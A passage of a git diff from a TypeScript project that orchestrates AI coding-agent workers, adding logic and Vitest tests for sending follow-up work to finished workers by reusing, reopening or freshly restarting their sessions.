terminalHandle) db.prepareStartingWorkerAuthority({ dispatchId: started.dispatch.id, handle: terminalHandle, @@ -246,9 +247,9 @@ export async function startLocalWorker(args: { worktreeId: resolvedWorktree.id, effects, setupState: setupReceipt.state, - terminalOwnership: params.terminal ? 'external' : 'created' + terminalOwnership: external ? 'external' : 'created' }) - if (chat) { + if (workerChat) { rebindReusedStructuredWorker(runtime, terminalHandle, db) } @@ -256,7 +257,7 @@ export async function startLocalWorker(args: { runtime, db, run, - task, + task: placed.extraSpec ? { ...task, spec: `${task.spec}\n\n${placed.extraSpec}` } : task, dispatchId: started.dispatch.id, dispatchDepth: started.dispatch.depth, structuredSession, @@ -265,7 +266,7 @@ export async function startLocalWorker(args: { devMode: params.devMode, requestId: orchestrationMutation?.requestId ?? started.dispatch.id, agent: agent ?? null, - launchedAgent: params.terminal ? null : (agent ?? null), + launchedAgent: external || workerChat ? null : (agent ?? null), setupReceipt, launchReceipt: launch.receipt, mode, @@ -273,9 +274,7 @@ export async function startLocalWorker(args: { readinessDeadline, effects, terminalRevealWarning: placed.warning, - onStage: (stage) => { - failedStage = stage - } + onStage }) } catch (error) { result = await failWorkerStartWithReceipt({ diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-auto-release.test.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-auto-release.test.ts index f288e88eac7..44fdd33bcd4 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-auto-release.test.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-auto-release.test.ts @@ -112,7 +112,7 @@ describe('orchestration worker automatic release', () => { const keepOpen = (keep: boolean): Promise => h.call('orchestration.workerKeepOpen', { paneKey: h.workerPaneKey, keep }) - it('keeps a worker kept open while it ran past its finish, a coordinator release and reuse', async () => { + it('keeps a worker kept open while it ran past its finish, a coordinator release and follow-up work', async () => { setupWithFakeClock() const { taskId, dispatchId } = await h.startWorker() await expect( @@ -127,9 +127,13 @@ describe('orchestration worker automatic release', () => { await expect( h.call('orchestration.workerRelease', { dispatch: dispatchId }) ).resolves.toMatchObject({ state: 'retained', reason: 'user_kept' }) - await expect(h.startWorker({ terminal: 'term_worker' })).rejects.toThrow() + const followUp = await h.startWorker({ terminal: 'term_worker' }) + await vi.advanceTimersByTimeAsync(2 * GRACE_MS) expect(h.runtime.closeTerminal).not.toHaveBeenCalled() - expect(h.db.getWorkerTerminalResourceByOwner(dispatchId)?.retained_reason).toBe('user_kept') + expect(h.db.getWorkerTerminalResourceByOwner(followUp.dispatchId)).toMatchObject({ + retained_reason: 'user_kept', + auto_release_at: null + }) }) it('starts a fresh countdown when the user allows auto-close again', async () => { diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-control.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-control.ts index 0f431deaca3..49e4fdd0c36 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-control.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-control.ts @@ -1,8 +1,8 @@ +import { exposeDispatchContext } from './dispatch-context-exposure' import { contextOnlyAbandonWarning } from '../../../../orchestration/context-only-dispatch-release' import { OrchestrationError } from '../../../../orchestration/orchestration-error' import { defineMethod } from '../../../core' import { - exposeDispatchContext, exposeObservation, exposeWorker, inspectWorkerTerminal, diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-earlier-work.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-earlier-work.ts new file mode 100644 index 00000000000..92239719efc --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-earlier-work.ts @@ -0,0 +1,66 @@ +import { z } from 'zod' +import type { OrchestrationDb } from '../../../../orchestration/db' +import { isTuiAgent } from '../../../../../../shared/tui-agent-config' +import type { DispatchContextRow } from '../../../../orchestration/types' + +const EARLIER_WORK_CLIP = 2_000 + +const StartOptions = z.looseObject({ + agent: z.string().nullish(), + launch: z + .looseObject({ + requested: z + .looseObject({ model: z.string().nullish(), effort: z.string().nullish() }) + .nullish() + }) + .nullish() +}) + +const WorkerReport = z.looseObject({ + outcome: z.string().optional(), + subject: z.string().optional(), + body: z.string().optional() +}) + +function parseJson(raw: string | null): unknown { + try { + return raw ? JSON.parse(raw) : null + } catch { + return null + } +} + +/** The agent and launch choices the worker first started with, for a fresh start of the same kind. */ +export function parseStartOptions(raw: string): { + agent?: string + model?: string + effort?: string +} { + const parsed = StartOptions.safeParse(parseJson(raw)) + if (!parsed.success) { + return {} + } + const requested = parsed.data.launch?.requested + return { + agent: isTuiAgent(parsed.data.agent) ? parsed.data.agent : undefined, + model: requested?.model ?? undefined, + effort: requested?.effort ?? undefined + } +} + +/** The earlier task and report, for a fresh agent that cannot reopen the conversation. */ +export function earlierWork(db: OrchestrationDb, latest: DispatchContextRow): string { + const task = db.getTask(latest.task_id) + const clip = (text: string) => + text.length > EARLIER_WORK_CLIP ? `${text.slice(0, EARLIER_WORK_CLIP)}…` : text + const lines = ['Earlier work on this worker (its conversation could not be reopened):'] + if (task) { + lines.push(`Earlier task: ${clip(task.spec)}`) + } + const report = WorkerReport.safeParse(parseJson(task?.result ?? null)) + if (report.success) { + const text = [report.data.subject, report.data.body].filter(Boolean).join(' — ') + lines.push(`Its report (${report.data.outcome ?? 'unknown'}): ${clip(text)}`) + } + return lines.join('\n') +} diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up-choice.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up-choice.ts new file mode 100644 index 00000000000..349661b554e --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up-choice.ts @@ -0,0 +1,213 @@ +/** Which placement a follow-up takes: in place while the worker's agent still runs, reopened in its saved + * conversation once closed, or a fresh agent of the same kind. Effect-free except closing a pane Orca owns + * whose agent is proven gone, so the replacement never sits beside it. */ + +import { + agentProviderSessionsEqual, + isResumableTuiAgent +} from '../../../../../../shared/agent-session-resume' +import { isStructuredWorkerHandle } from '../../../../../../shared/structured-worker-handle' +import type { OrcaRuntimeService } from '../../../../orca-runtime' +import type { OrchestrationDb } from '../../../../orchestration/db' +import { + readWorkerResumeSession, + type WorkerResumeSession +} from '../../../../orchestration/db/dispatch-context/worker-follow-up-lineage' +import { OrchestrationError } from '../../../../orchestration/orchestration-error' +import type { DispatchContextRow } from '../../../../orchestration/types' +import type { WorkerTerminalResourceRow } from '../../../../orchestration/worker-terminal-ownership' +import { getStructuredAgentSessionHost } from '../../../../../native-chat/agent-session-wire/structured-agent-session-registry' +import { resolveStructuredWorkerIdentity } from '../../../../structured-worker-authority' +import { earlierWork, parseStartOptions } from './worker-earlier-work' +import { + reopenWorkerChat, + reopenWorkerTerminal, + type WorkerFollowUp +} from './worker-follow-up-placement' +import { inspectWorkerTerminal } from './worker-observation' +import { completeWorkerTerminalRelease } from './worker-release-completion' + +const RELEASE_SETTLE_WAIT_MS = 15_000 + +export type WorkerFollowUpDelivery = 'follow_up' | 'reopened' | 'started_fresh' + +export type WorkerFollowUpPlacement = { + delivery: WorkerFollowUpDelivery + worktreeId: string + terminal?: string + agent?: string + model?: string + effort?: string + /** Earlier task and report, for a fresh agent that cannot reopen the conversation. */ + earlierWork?: string + reopen?: WorkerFollowUp['reopen'] +} + +export async function chooseWorkerFollowUpPlacement( + runtime: OrcaRuntimeService, + db: OrchestrationDb, + latest: DispatchContextRow, + found: WorkerTerminalResourceRow | undefined +): Promise { + const worker = db.getWorkerDispatch(found?.origin_dispatch_id ?? latest.id) + const worktreeId = found?.worktree_id ?? worker?.worktree_id + if (!worker || !worktreeId) { + throw notRestartable(latest.id) + } + const workspace = await runtime.showManagedTerminalWorkspace(`id:${worktreeId}`).catch(() => null) + if (!workspace) { + throw new OrchestrationError( + 'worker_workspace_gone', + `The workspace Dispatch ${latest.id}'s worker ran in was removed; start a new worker with worker-start. No effects were applied.`, + { effectsApplied: false } + ) + } + const options = parseStartOptions(worker.start_options) + const resource = found && (await settledRelease(db, found)) + if (resource && isStructuredWorkerHandle(resource.terminal_handle)) { + const handle = resource.terminal_handle + return chatTabOpen(db, resource) + ? { delivery: 'follow_up', worktreeId, terminal: handle } + : { + delivery: 'reopened', + worktreeId, + ...(options.agent ? { agent: options.agent } : {}), + reopen: () => reopenWorkerChat(runtime, db, handle) + } + } + const open = + resource && !released(resource) ? await openWorkerTerminal(runtime, db, resource) : null + if (open) { + return { delivery: 'follow_up', worktreeId, terminal: open } + } + // Read after any close above, which saves the conversation the pane last reported. + const session = readWorkerResumeSession(resource && db.getWorkerTerminalResource(resource.id)) + if (session && isResumableTuiAgent(session.agent)) { + const userTab = await userTabHoldingSession(runtime, session) + return userTab + ? { delivery: 'follow_up', worktreeId, terminal: userTab } + : { + delivery: 'reopened', + worktreeId, + agent: session.agent, + earlierWork: earlierWork(db, latest), + reopen: (dispatchId) => reopenWorkerTerminal(runtime, worktreeId, session, dispatchId) + } + } + if (!options.agent) { + throw notRestartable(latest.id) + } + return { + delivery: 'started_fresh', + worktreeId, + agent: options.agent, + ...(options.model ? { model: options.model } : {}), + ...(options.effort ? { effort: options.effort } : {}), + earlierWork: earlierWork(db, latest) + } +} + +/** The handle a follow-up takes in place, or null once its agent is proven gone; never a guess. */ +async function openWorkerTerminal( + runtime: OrcaRuntimeService, + db: OrchestrationDb, + resource: WorkerTerminalResourceRow +): Promise { + const inspected = await inspectWorkerTerminal(runtime, db, resource.owner_dispatch_id) + if (inspected.status === 'unverifiable') { + throw unverifiable(resource.owner_dispatch_id, inspected.reason ?? 'unknown') + } + // A changed or unread identity proves nothing about the recorded process either. + if (['missing', 'unattached', 'identity_changed'].includes(inspected.status)) { + // Before a restart restores its terminals, a worker that still runs has no handle yet. + const process = resource.process_incarnation + ? await runtime.inspectTerminalProcessIncarnationLiveness( + resource.process_incarnation, + resource.host_scope + ) + : 'unverifiable' + if (process !== 'exited') { + throw unverifiable(resource.owner_dispatch_id, `its process is ${process}`) + } + return null + } + const live = inspected.status === 'live' ? inspected.terminalHandle : null + if (live && (await runtime.isTerminalRunningAgent(live))) { + return live + } + if ((live || inspected.status === 'exited') && resource.ownership_state === 'owned') { + await releaseLeftoverShell(runtime, db, resource.owner_dispatch_id) + } + return null +} + +/** The agent exited and left Orca's shell behind: close it the way worker-release does before replacing it. */ +async function releaseLeftoverShell( + runtime: OrcaRuntimeService, + db: OrchestrationDb, + dispatchId: string +): Promise { + const requested = db.requestWorkerTerminalRelease(dispatchId) + if (requested.disposition === 'requested') { + await completeWorkerTerminalRelease({ runtime, db, dispatchId, resource: requested.resource }) + } +} + +/** A close in progress is final; wait it out so the worker is reopened rather than fought over. */ +async function settledRelease( + db: OrchestrationDb, + resource: WorkerTerminalResourceRow +): Promise { + const deadline = Date.now() + RELEASE_SETTLE_WAIT_MS + let current = resource + while (['requested', 'releasing'].includes(current.release_state) && Date.now() < deadline) { + await new Promise((resolve) => setTimeout(resolve, 250)) + current = db.getWorkerTerminalResource(resource.id) ?? current + } + return current +} + +function released(resource: WorkerTerminalResourceRow): boolean { + return resource.ownership_state === 'released' || resource.release_state === 'released' +} + +function chatTabOpen(db: OrchestrationDb, resource: WorkerTerminalResourceRow): boolean { + const identity = resolveStructuredWorkerIdentity(resource.terminal_handle, db) + const host = getStructuredAgentSessionHost() + return !released(resource) && !!identity && !!host?.isSessionTabVisible(identity.sessionId) +} + +/** The user resumed the conversation in a tab of their own: the follow-up goes there and the tab stays theirs. */ +async function userTabHoldingSession( + runtime: OrcaRuntimeService, + session: WorkerResumeSession +): Promise { + for (const row of runtime.getAgentStatusSnapshotFn?.() ?? []) { + const handle = + row.agentType === session.agent && + !row.structuredHost && + agentProviderSessionsEqual(session.agent, row.providerSession, session.providerSession) + ? runtime.getTerminalHandleForPaneKey(row.paneKey) + : null + if (handle && (await runtime.isTerminalRunningAgent(handle))) { + return handle + } + } + return undefined +} + +function unverifiable(dispatchId: string, reason: string): OrchestrationError { + return new OrchestrationError( + 'worker_unverifiable', + `Orca cannot tell whether Dispatch ${dispatchId}'s worker still runs (${reason}), so it starts no second one. Send again once worker-show reads it. No effects were applied.`, + { effectsApplied: false } + ) +} + +function notRestartable(dispatchId: string): OrchestrationError { + return new OrchestrationError( + 'worker_not_restartable', + `Dispatch ${dispatchId} has no worker Orca started that it can continue; start a new worker with worker-start. No effects were applied.`, + { effectsApplied: false } + ) +} diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up-placement.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up-placement.ts new file mode 100644 index 00000000000..184026fc9eb --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up-placement.ts @@ -0,0 +1,141 @@ +import type { OrcaRuntimeService } from '../../../../orca-runtime' +import type { OrchestrationDb } from '../../../../orchestration/db' +import { OrchestrationError } from '../../../../orchestration/orchestration-error' +import type { OrchestrationParty } from '../../../../orchestration/orchestration-party' +import { CHAT_WORKER_AUTHORITY } from '../chat-assignee-admission' +import type { WorkerResumeSession } from '../../../../orchestration/db/dispatch-context/worker-follow-up-lineage' +import { getStructuredAgentSessionHost } from '../../../../../native-chat/agent-session-wire/structured-agent-session-registry' +import { + resolveStructuredWorkerIdentity, + structuredWorkerSession +} from '../../../../structured-worker-authority' + +/** What a follow-up continues, and for a closed worker how it comes back once the follow-up holds its Dispatch. */ +export type WorkerFollowUp = { + /** The settled Dispatch whose worker this one continues. */ + of: string + /** Resolves null when the agent refused to resume before spawning anything; a fresh one starts instead. */ + reopen?: (dispatchId: string) => Promise + /** The send this follow-up answers, whose pending receipt names the Dispatch it accepted. */ + acceptedBy?: { callerFingerprint: string; requestId: string } + /** Unread mail this follow-up carries as its Task. */ + consumesMessageIds?: readonly string[] + /** Appended to the Task when a reopen falls back to a fresh agent. */ + earlierWork?: string +} + +/** `userOpened`: the user's own tab, which stays theirs and is never closed by Orca. */ +export type ReopenedWorker = { + handle: string + chat: boolean + userOpened: boolean + /** A reopened chat's custody identity; a resumed terminal's comes from its new pane. */ + authority?: { paneKey: string; processIncarnation: string; hostScope: string } +} + +/** Resume a closed terminal worker's conversation in a new background tab; never a shell. Null: start a fresh agent. */ +export async function reopenWorkerTerminal( + runtime: Pick, + worktreeId: string, + session: WorkerResumeSession, + dispatchId: string +): Promise { + const resumed = await runtime.resumeAgentSessionInWorkspace(worktreeId, { + ...session, + // A retry of this follow-up reconciles the pane it may have started. + mutationId: dispatchId + }) + if (resumed.ok) { + return { handle: resumed.handle, chat: false, userOpened: false } + } + switch (resumed.reason) { + case 'window_owns_wake': + throw new OrchestrationError( + 'worker_asleep', + "The worker's workspace is asleep in a window; wake it and send again." + ) + case 'windows_only_cli': + throw new OrchestrationError('worker_agent_unavailable', resumed.message) + case 'held_elsewhere': + throw new OrchestrationError( + 'worker_unreachable', + "The worker's conversation is open somewhere Orca cannot reach; nothing was sent." + ) + case 'no_resume_command': + // Refused before anything spawned, so a fresh agent cannot duplicate it. + return null + case 'aborted': + case 'create_failed': + throw new OrchestrationError( + 'worker_reopen_failed', + `Orca could not reopen the worker's ${session.agent} conversation (${resumed.reason}).` + ) + } +} + +/** A reopened chat is a chat too; a tab the user reopened stays theirs, as a `--terminal` does. + * `created`: a pane this start made, whose custody it records at once. */ +export function placedWorkerParty( + placed: { reopened?: ReopenedWorker }, + chat: unknown, + terminal: OrchestrationParty | '' | undefined +): { + workerChat: boolean + external: boolean + created: boolean + authority: ReopenedWorker['authority'] | typeof CHAT_WORKER_AUTHORITY | undefined +} { + const workerChat = chat !== null || placed.reopened?.chat === true + const external = Boolean(terminal) || placed.reopened?.userOpened === true + // A structured worker's chat keeps the pane and process its custody is held under. + const chatAuthority = + terminal && terminal.terminalHandle === null ? CHAT_WORKER_AUTHORITY : undefined + return { + workerChat, + external, + created: !workerChat && !external, + authority: placed.reopened?.authority ?? chatAuthority + } +} + +/** Bring a closed worker's chat back as a background tab in its own conversation; its next turn starts the agent at rest. + * Its custody identity comes from the worker, since its released row cannot vouch for it. */ +export async function reopenWorkerChat( + runtime: Pick< + OrcaRuntimeService, + 'ensureStructuredAgentSessionHost' | 'publishStructuredAgentSessionTab' + >, + db: OrchestrationDb, + handle: string +): Promise { + const identity = resolveStructuredWorkerIdentity(handle, db) + await runtime.ensureStructuredAgentSessionHost() + const host = getStructuredAgentSessionHost() + if (!identity || !host) { + throw new OrchestrationError( + 'worker_not_restartable', + `Worker ${handle} has no chat Orca can reopen; start a new worker with worker-start.` + ) + } + // A `/clear` moved the conversation on; reopen the session that runs it now. + const running = structuredWorkerSession(identity) + const sessionId = running.kind === 'here' ? running.sessionId : identity.sessionId + const userOpened = host.isSessionTabVisible(sessionId) + const revealed = await host.revealSession(sessionId) + await runtime.publishStructuredAgentSessionTab({ + workspaceId: revealed.workspaceId, + sessionId: revealed.sessionId, + agent: revealed.agent, + activate: false + }) + return { + handle, + chat: true, + userOpened, + authority: { + paneKey: identity.paneKey, + processIncarnation: identity.processIncarnation, + hostScope: JSON.stringify(identity.hostScope) + } + } +} diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up.test.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up.test.ts new file mode 100644 index 00000000000..47a5fe88a28 --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-follow-up.test.ts @@ -0,0 +1,315 @@ +import { mkdtempSync, rmSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, describe, expect, it, vi } from 'vitest' +import { getWorkerTerminalAutoReleaseScheduler } from '../../../../orchestration/worker-terminal-auto-release-scheduler' +import { + getFollowUpDispatch, + readWorkerResumeSession +} from '../../../../orchestration/db/dispatch-context/worker-follow-up-lineage' +import { watchMovedWorkerResumeSessions } from './worker-resume-session-capture' +import { + continueAllUnreadWorkerMail, + continueUnreadWorkerMail +} from '../messaging/settled-worker-follow-through' +import { createOrchestrationWorkerReleaseHarness } from './worker-release.test-support' + +// A send to a finished terminal worker, through the same worker-start the coordinator would run. +describe('a follow-up to a finished terminal worker', () => { + const h = createOrchestrationWorkerReleaseHarness() + let userDataDir: string | undefined + + afterEach(() => { + getWorkerTerminalAutoReleaseScheduler(h.runtime).clear() + h.cleanup() + if (userDataDir) { + rmSync(userDataDir, { recursive: true, force: true }) + userDataDir = undefined + } + }) + + const send = (dispatchId: string, body: string) => + h.call('orchestration.send', { + from: 'term_coord', + to: `dispatch:${dispatchId}`, + subject: 'More', + body + }) + + it('starts no second worker while it cannot tell whether the first still runs', async () => { + h.setup() + const { dispatchId } = await h.startSettledWorker() + vi.spyOn(h.runtime, 'getTerminalLivenessVerdict').mockReturnValue({ + status: 'unverifiable', + reason: 'relay_dropped' + }) + + await expect(send(dispatchId, 'and the docs')).rejects.toMatchObject({ + code: 'worker_unverifiable' + }) + expect(getFollowUpDispatch(h.db, dispatchId)).toBeUndefined() + expect(h.runtime.createTerminal).toHaveBeenCalledTimes(1) + }) + + it('starts no second worker for one whose handle is gone until its process is proven exited', async () => { + h.setup() + const { dispatchId } = await h.startSettledWorker() + // As before a restart restores terminals: no handle resolves, but the process may still run. + let gone = true + const show = vi.mocked(h.runtime.showTerminal).getMockImplementation()! + vi.mocked(h.runtime.showTerminal).mockImplementation(async (handle) => { + if (gone && handle === 'term_worker') { + throw new Error('terminal not found') + } + return show(handle) + }) + vi.spyOn(h.runtime, 'resolveTerminalHandleByProcessIncarnation').mockReturnValue(null) + + await expect(send(dispatchId, 'and the docs')).rejects.toMatchObject({ + code: 'worker_unverifiable' + }) + expect(getFollowUpDispatch(h.db, dispatchId)).toBeUndefined() + expect(h.runtime.createTerminal).toHaveBeenCalledTimes(1) + + h.inspectProcessLiveness.mockResolvedValue('exited') + vi.mocked(h.runtime.createTerminal).mockImplementationOnce(async () => { + gone = false + return { handle: 'term_worker', worktreeId: 'repo::worktree', title: 'worker' } + }) + await expect(send(dispatchId, 'and the docs')).resolves.toMatchObject({ + delivery: 'started_fresh' + }) + }) + + it('starts no second worker while its pane cannot yet read the recorded process', async () => { + h.setup() + const { dispatchId } = await h.startSettledWorker() + vi.mocked(h.runtime.getTerminalProcessIncarnation).mockReturnValue(null) + + await expect(send(dispatchId, 'and the docs')).rejects.toMatchObject({ + code: 'worker_unverifiable' + }) + expect(h.runtime.createTerminal).toHaveBeenCalledTimes(1) + }) + + it('keeps unread mail it could not continue, tells the coordinator, and delivers it with the next send', async () => { + userDataDir = mkdtempSync(join(tmpdir(), 'orca-follow-up-refused-')) + h.setup({ userDataDir }) + const { taskId, dispatchId } = await h.startWorker() + await send(dispatchId, 'DO NOT PUSH') + h.settle(taskId, dispatchId, 'succeeded') + + h.restart() + const verdict = vi.spyOn(h.runtime, 'getTerminalLivenessVerdict').mockReturnValue({ + status: 'unverifiable', + reason: 'relay_dropped' + }) + + await vi.waitFor(() => + expect(h.db.getUnreadMessages(`run:${h.activeRunId}`)).toMatchObject([ + { type: 'escalation', subject: 'Mail did not reach the finished worker' } + ]) + ) + expect(h.db.getDispatchContextById(dispatchId)?.follow_up_mail_at).not.toBeNull() + expect(h.db.getUnreadMessages(`dispatch:${dispatchId}`)).toMatchObject([ + { body: 'DO NOT PUSH' } + ]) + + verdict.mockRestore() + await send(dispatchId, 'and the docs') + const followUpId = getFollowUpDispatch(h.db, dispatchId)!.id + await vi.waitFor(() => + expect(h.db.getUnreadMessages(`dispatch:${followUpId}`)).toMatchObject([ + { body: 'DO NOT PUSH' } + ]) + ) + expect(h.db.getDispatchContextById(dispatchId)?.follow_up_mail_at).toBeNull() + }) + + it('continues the worker with mail it never read before reporting, after a restart', async () => { + userDataDir = mkdtempSync(join(tmpdir(), 'orca-follow-up-restart-')) + h.setup({ userDataDir }) + const { taskId, dispatchId } = await h.startWorker() + await send(dispatchId, 'and the docs') + // The report settles; the app quits before anything continues that mail. + h.settle(taskId, dispatchId, 'succeeded') + expect(h.db.getDispatchContextById(dispatchId)?.follow_up_mail_at).not.toBeNull() + + h.restart() + + await vi.waitFor(() => expect(getFollowUpDispatch(h.db, dispatchId)).toBeDefined()) + const followUp = getFollowUpDispatch(h.db, dispatchId)! + expect(h.db.getTask(followUp.task_id)?.spec).toContain('and the docs') + await vi.waitFor(() => + expect(h.db.getDispatchContextById(dispatchId)?.follow_up_mail_at).toBeNull() + ) + expect(h.db.getUnreadMessages(`dispatch:${dispatchId}`)).toHaveLength(0) + }) + + it('holds unread mail for a follow-up another send is starting and moves it in once that one is ready', async () => { + h.setup() + const { taskId, dispatchId } = await h.startWorker() + await send(dispatchId, 'and the docs') + h.settle(taskId, dispatchId, 'succeeded') + const winner = h.db.createStartingWorkerDispatch({ + creator: { kind: 'system' }, + maxDepth: 9, + taskSpec: 'first', + taskRunId: h.activeRunId, + startOptions: { agent: 'codex' }, + followUpOf: dispatchId + }) + const arrived = vi.mocked(h.runtime.notifyMessageArrived) + arrived.mockClear() + + continueAllUnreadWorkerMail(h.runtime, h.db) + expect(h.db.getUnreadMessages(`dispatch:${dispatchId}`)).toMatchObject([ + { body: 'and the docs' } + ]) + expect(h.db.getDispatchContextById(dispatchId)?.follow_up_mail_at).not.toBeNull() + + h.db.markWorkerDispatchReady(winner.dispatch.id) + continueAllUnreadWorkerMail(h.runtime, h.db) + continueAllUnreadWorkerMail(h.runtime, h.db) + expect(h.db.getUnreadMessages(`dispatch:${winner.dispatch.id}`)).toMatchObject([ + { body: 'and the docs' } + ]) + expect(arrived.mock.calls).toEqual([[`dispatch:${winner.dispatch.id}`, 'status']]) + expect(h.db.getDispatchContextById(dispatchId)?.follow_up_mail_at).toBeNull() + }) + + it('counts a follow-up that reported before its start was observed as having taken the mail', async () => { + h.setup() + const { taskId, dispatchId } = await h.startWorker() + await send(dispatchId, 'DO NOT PUSH') + h.settle(taskId, dispatchId, 'succeeded') + vi.mocked(h.runtime.sendTerminalAgentPrompt).mockImplementationOnce(async (handle) => { + const followUp = getFollowUpDispatch(h.db, dispatchId)! + h.settle(followUp.task_id, followUp.id, 'succeeded') + return { handle, accepted: true, bytesWritten: 1 } + }) + + continueAllUnreadWorkerMail(h.runtime, h.db) + + await vi.waitFor(() => + expect(h.db.getDispatchContextById(dispatchId)?.follow_up_mail_at).toBeNull() + ) + const followUp = getFollowUpDispatch(h.db, dispatchId)! + expect(h.db.getTask(followUp.task_id)?.spec).toContain('DO NOT PUSH') + expect(h.db.getUnreadMessages(`dispatch:${dispatchId}`)).toHaveLength(0) + expect(h.db.getUnreadMessages(`dispatch:${followUp.id}`)).toHaveLength(0) + expect(h.db.getUnreadMessages(`run:${h.activeRunId}`)).toHaveLength(0) + }) + + it('keeps the mail a failed follow-up took when a replayed report ran during its start', async () => { + h.setup() + const { taskId, dispatchId } = await h.startWorker() + await send(dispatchId, 'DO NOT PUSH') + h.settle(taskId, dispatchId, 'succeeded') + vi.mocked(h.runtime.sendTerminalAgentPrompt).mockImplementationOnce(async () => { + // The replay finds no unread mail, since the start took it, and clears the marker. + continueUnreadWorkerMail(h.runtime, h.db, dispatchId) + throw new Error('prompt lost') + }) + + continueAllUnreadWorkerMail(h.runtime, h.db) + + await vi.waitFor(() => expect(getFollowUpDispatch(h.db, dispatchId)).toBeDefined()) + const failed = getFollowUpDispatch(h.db, dispatchId)!.id + await vi.waitFor(() => + expect(h.db.getUnreadMessages(`dispatch:${failed}`)).toMatchObject([{ body: 'DO NOT PUSH' }]) + ) + }) + + it('keeps the mail a failed follow-up took, says so, and delivers it with the retry', async () => { + h.setup() + const { taskId, dispatchId } = await h.startWorker() + await send(dispatchId, 'DO NOT PUSH') + h.settle(taskId, dispatchId, 'succeeded') + vi.mocked(h.runtime.sendTerminalAgentPrompt).mockRejectedValueOnce(new Error('prompt lost')) + + continueAllUnreadWorkerMail(h.runtime, h.db) + + await vi.waitFor(() => + expect(h.db.getUnreadMessages(`run:${h.activeRunId}`)).toMatchObject([ + { type: 'escalation', subject: 'Mail did not reach the finished worker' } + ]) + ) + const failed = getFollowUpDispatch(h.db, dispatchId)!.id + expect(h.db.getUnreadMessages(`dispatch:${failed}`)).toMatchObject([{ body: 'DO NOT PUSH' }]) + + // The coordinator retries at the address it knows; the retry follows the failed follow-up. + await send(dispatchId, 'and the docs') + const retry = getFollowUpDispatch(h.db, failed)!.id + await vi.waitFor(() => + expect(h.db.getUnreadMessages(`dispatch:${retry}`)).toMatchObject([{ body: 'DO NOT PUSH' }]) + ) + }) + + it('from a follow-up that never got a worker, continues the worker before it', async () => { + h.setup() + const { dispatchId } = await h.startSettledWorker() + const failed = h.db.createStartingWorkerDispatch({ + creator: { kind: 'system' }, + maxDepth: 9, + taskSpec: 'first', + taskRunId: h.activeRunId, + startOptions: { agent: 'codex' }, + followUpOf: dispatchId + }) + h.db.failWorkerStart(failed.dispatch.id, 'terminal_create', 'The terminal never opened.') + + await expect(send(failed.dispatch.id, 'second')).resolves.toMatchObject({ + delivery: 'follow_up', + followUpOf: failed.dispatch.id, + effects: expect.arrayContaining([ + expect.objectContaining({ role: 'agent', id: 'term_worker' }) + ]) + }) + }) + + it('takes mail for a working worker even when its report settles the Dispatch in the same turn', async () => { + h.setup() + const { taskId, dispatchId } = await h.startWorker() + + const sent = send(dispatchId, 'and the docs') + h.settle(taskId, dispatchId, 'succeeded') + + await expect(sent).resolves.toMatchObject({ message: { to_handle: `dispatch:${dispatchId}` } }) + }) + + it("keeps the conversation a kept worker's pane moves to after its report", async () => { + h.setup() + const { dispatchId } = await h.startSettledWorker() + vi.mocked(h.runtime.getExactWorkerProviderSession).mockReturnValue({ + paneKey: h.workerPaneKey, + agent: 'claude', + processIncarnation: 'runtime_test:term_worker:1', + providerSession: { key: 'session_id', id: 'after-clear' }, + observedAt: 1 + }) + + watchMovedWorkerResumeSessions( + h.runtime, + () => h.db + )([{ paneKey: h.workerPaneKey, sessionId: 'after-clear' }]) + + expect( + readWorkerResumeSession(h.db.getWorkerTerminalResourceByOwner(dispatchId)) + ).toMatchObject({ agent: 'claude', providerSession: { id: 'after-clear' } }) + }) + + it('saves nothing again when a status change repeats the same conversations', async () => { + h.setup() + await h.startSettledWorker() + const read = vi.mocked(h.runtime.getExactWorkerProviderSession) + const notify = watchMovedWorkerResumeSessions(h.runtime, () => h.db) + const sessions = [{ paneKey: h.workerPaneKey, sessionId: 'after-clear' }] + + notify(sessions) + read.mockClear() + notify(sessions) + + expect(read).not.toHaveBeenCalled() + }) +}) diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-observation.test.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-observation.test.ts index 8f399417f94..1bf76e0cce8 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-observation.test.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-observation.test.ts @@ -1,7 +1,8 @@ import { describe, expect, it, vi } from 'vitest' import type { OrcaRuntimeService } from '../../../../orca-runtime' import type { OrchestrationDb } from '../../../../orchestration/db' -import { exposeDispatchContext, exposeWorker, inspectWorkerTerminal } from './worker-observation' +import { exposeWorker, inspectWorkerTerminal } from './worker-observation' +import { exposeDispatchContext } from './dispatch-context-exposure' import type { DispatchContextRow, WorkerDispatchRow } from '../../../../orchestration/types' const DISPATCH_ID = 'ctx-worker' diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-observation.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-observation.ts index 91f8e978bfc..43bbd71449d 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-observation.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-observation.ts @@ -1,8 +1,8 @@ +import { parseWorkerTerminalHostScope } from '../../../../../../shared/worker-terminal-host-scope' import type { RuntimeTerminalInteractiveWait } from '../../../../../../shared/runtime-types' import type { WorkerTerminalReleaseRuntime 